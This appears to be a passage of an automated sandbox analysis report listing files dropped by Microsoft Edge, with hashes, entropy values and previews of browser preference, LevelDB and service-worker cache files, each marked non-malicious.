Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40192.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4409f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46e18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b5cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565915652286576
Encrypted:	false
SSDEEP:	768:Oq99m5WqzW5wHPf46J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPWGIivQUrwXIPpgt9:OEo51zWaHPfHJu1ja/m4NPt9
MD5:	9A71E8404CBDAF8582E07F123FE82D43
SHA1:	01066344BD486C5A9CD23AE5191D92DA324FD8C7
SHA-256:	6B333A04D1DC4AD614C16955C217EF5E3B707F4D1CFF2D0F2B79A8A81E83A9F3
SHA-512:	AE4D3125282511D32F5BBA207D759F76C745AA5B7E248E693E8EF8199D6294EDB96150C626C93622A73C558D6CFE5BF378540D4FE7F6BCF5242E59C0FEBDDDAB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF401b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565915652286576
Encrypted:	false
SSDEEP:	768:Oq99m5WqzW5wHPf46J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPWGIivQUrwXIPpgt9:OEo51zWaHPfHJu1ja/m4NPt9
MD5:	9A71E8404CBDAF8582E07F123FE82D43
SHA1:	01066344BD486C5A9CD23AE5191D92DA324FD8C7
SHA-256:	6B333A04D1DC4AD614C16955C217EF5E3B707F4D1CFF2D0F2B79A8A81E83A9F3
SHA-512:	AE4D3125282511D32F5BBA207D759F76C745AA5B7E248E693E8EF8199D6294EDB96150C626C93622A73C558D6CFE5BF378540D4FE7F6BCF5242E59C0FEBDDDAB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF46379.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565915652286576
Encrypted:	false
SSDEEP:	768:Oq99m5WqzW5wHPf46J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPWGIivQUrwXIPpgt9:OEo51zWaHPfHJu1ja/m4NPt9
MD5:	9A71E8404CBDAF8582E07F123FE82D43
SHA1:	01066344BD486C5A9CD23AE5191D92DA324FD8C7
SHA-256:	6B333A04D1DC4AD614C16955C217EF5E3B707F4D1CFF2D0F2B79A8A81E83A9F3
SHA-512:	AE4D3125282511D32F5BBA207D759F76C745AA5B7E248E693E8EF8199D6294EDB96150C626C93622A73C558D6CFE5BF378540D4FE7F6BCF5242E59C0FEBDDDAB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.844276559991176
Encrypted:	false
SSDEEP:	24:F2xc5Nm5cncmo0CRORpllg2DtfRHrVdCRORpllg2Sc03osxtKCRORpllg2DwRHrF:F2emytrdDtfBRXrdYxwrdDwBGrdjBA
MD5:	BC62EDAFC7191F1D08845B9E0AC2239E
SHA1:	5DB150E7186C55A2A71E8597C88242F30F061698
SHA-256:	9DAEF538B9E7BD83F02C4930F7A3B4993BFEAEDF392D9913178ABDE50D361754
SHA-512:	DA5A896739BDDD2306FD85D7DA158424AF009D3BED592112255EB63316396BE882B9AEF802D6F5F70788545A0FFF23CAC81FF6E83CB371382AE7573598CB24B2
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.}..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.125664709485707
Encrypted:	false
SSDEEP:	6:HZWD1N723oH+TcwtE/a252KLlVZOq2PN723oH+TcwtE/a2ZIFUv:5OaYeb8xLROvVaYeb8J2FUv
MD5:	C0890A780283516F86B0EE67E4E4A0C0
SHA1:	61888DB648FE5E0D034B77365171BD16A727F493
SHA-256:	6D523F56E0FF84D59C7E99C0B79DCBDD9E7F8FB80982AB5EAA46020DD223B14C
SHA-512:	4FFE6FF6A126A633ABB02B3048D3F48E1A9CE28B8C330E42D831D558082E9D1C3385075754BEF8FE2DF2A20A17744CCED3516BE0846E9B6F5A3AC2E0F597106A
Malicious:	false
Preview:	2024/11/28-11:24:47.980 23e0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/28-11:24:47.994 23e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.577941592664685
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgNst:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFmt
MD5:	534CAB91F3C81A6D632E4DCC3CF3573C
SHA1:	AA15AEFE91755D9FADEB91FEF87AACDDF84B9CE4
SHA-256:	AF6F77B766CD35F86BBCE192B2011D87B3BF1094A46175DE14E42EA74B81618D
SHA-512:	FC2F3D6148A628C4898AB5EBD236B88BA9910D9FFD23AC23E58E82F0372E8C9BE222BA7891D633B5BBAEF68F86FC12E79E69CCE4489AD3455B1633F667CA7CEA
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188889
Entropy (8bit):	6.386159344079372
Encrypted:	false
SSDEEP:	3072:yBg53iJ54Qj/lwPeAnyRxL/ApM9QmRs4iipSvJVXLEkq:GlwfyHL/IFh404/
MD5:	9ABB26E7E9C812124B98DBE8154BE381
SHA1:	ACDC2584567CCE261EA305E1BB6C3C0B9CC98EA4
SHA-256:	91CF4CA23C15D41FB6EDAB4DA61A124E4DFBFECE75E08C12F03ABBA3F4D0F171
SHA-512:	D769D516272A4AE6C704983C611E39817C0933A4E40555F9DD8A1E2945D27CE5E1FFF4AF8E7F34310E6B300DF4AB562167CD00DF1DCE4F69E3A32C4A37B96B9D
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yT.........,T.8..`,.....L`.....,T...`......L`......Rc.N[J....exports...Rcv.U.....module....Rc........define....Rb..h.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...l.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EyrKcC0Xl/ly/l9/lxE0tlla/lxsUYl:EuKCmO0gq/l
MD5:	C73D85550E1051695563A52B81889163
SHA1:	A1FCA96DAF7C8305A8EA17B233D9DD6202116E7D
SHA-256:	C650B28A00DC4EF63C37A9687F4449BFF544E3873571CDAABF9519E48AC88DC0
SHA-512:	AA35DFCEA0F49F9FF1E14D16C148DB9D935ADADCA2B32C4620CE156A89317BECB478D042B530ACAFB03D79C4E403731B26614B1071385B741A0B0F8A7BC0075B
Malicious:	false
Preview:	@...q...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EyrKcC0Xl/ly/l9/lxE0tlla/lxsUYl:EuKCmO0gq/l
MD5:	C73D85550E1051695563A52B81889163
SHA1:	A1FCA96DAF7C8305A8EA17B233D9DD6202116E7D
SHA-256:	C650B28A00DC4EF63C37A9687F4449BFF544E3873571CDAABF9519E48AC88DC0
SHA-512:	AA35DFCEA0F49F9FF1E14D16C148DB9D935ADADCA2B32C4620CE156A89317BECB478D042B530ACAFB03D79C4E403731B26614B1071385B741A0B0F8A7BC0075B
Malicious:	false
Preview:	@...q...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43610.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:EyrKcC0Xl/ly/l9/lxE0tlla/lxsUYl:EuKCmO0gq/l
MD5:	C73D85550E1051695563A52B81889163
SHA1:	A1FCA96DAF7C8305A8EA17B233D9DD6202116E7D
SHA-256:	C650B28A00DC4EF63C37A9687F4449BFF544E3873571CDAABF9519E48AC88DC0
SHA-512:	AA35DFCEA0F49F9FF1E14D16C148DB9D935ADADCA2B32C4620CE156A89317BECB478D042B530ACAFB03D79C4E403731B26614B1071385B741A0B0F8A7BC0075B
Malicious:	false
Preview:	@...q...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7285
Entropy (8bit):	3.361911552649093
Encrypted:	false
SSDEEP:	192:hl0lYszOfE4NiU8T4Q9Xp+21+iYDC5SLl9iSr2nu6:Al/MT8T4Q9Xp+Y+u5SLl9iSreu
MD5:	890D685960B620D6CA7A15B29C42349C
SHA1:	311B36EF76AEF61262BD7997660E3F5D5E2278BD
SHA-256:	8C725BA15EBA1E08BE795A3CE4029E4FD7E8C6F6B9117B275A20457E283961BF
SHA-512:	26E61F7BC77CC31439E497E0945124967D9CE2DAA54E38B3035B81504E26EAD2A877D4F3F587E05E170AF4EBDBED1939EA966D551F36F077FB0FE83395F82157
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............k3..b................next-map-id.1.Cnamespace-b6a5453a_66a3_4a9b_8191_36c64d6535a2-https://ntp.msn.com/.0F.k.0................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.h.v.c.,.m.m.s.-.s.c.-.s.c._.c.o.n.3.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.4.3.1.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.035510099997346
Encrypted:	false
SSDEEP:	6:HplgIq2PN723oH+TcwtrQMxIFUt8YplHZmw+YplukwON723oH+TcwtrQMFLJ:J3vVaYebCFUt8c1/+cU5OaYebtJ
MD5:	5077800FFA3AFF1D36585FF0288CD62E
SHA1:	A5B07F98426B32692534BD30FCD3541D07BEA98C
SHA-256:	6CC5FC43DA6505797F22A3208ACC5F619EE1F21598C4D84152AC2B157052374E
SHA-512:	E33CF9343AA22241C4AF0643F1E4B75AF2323C7770499BFA4C45D12A7EFD18532D30790F2E7B94FA2857B5AC5D0E9CDD8C5F36CE30C1CF0D9ABC14AF51014099
Malicious:	false
Preview:	2024/11/28-11:24:32.402 2104 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-11:24:32.403 2104 Recovering log #3.2024/11/28-11:24:32.408 2104 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.035510099997346
Encrypted:	false
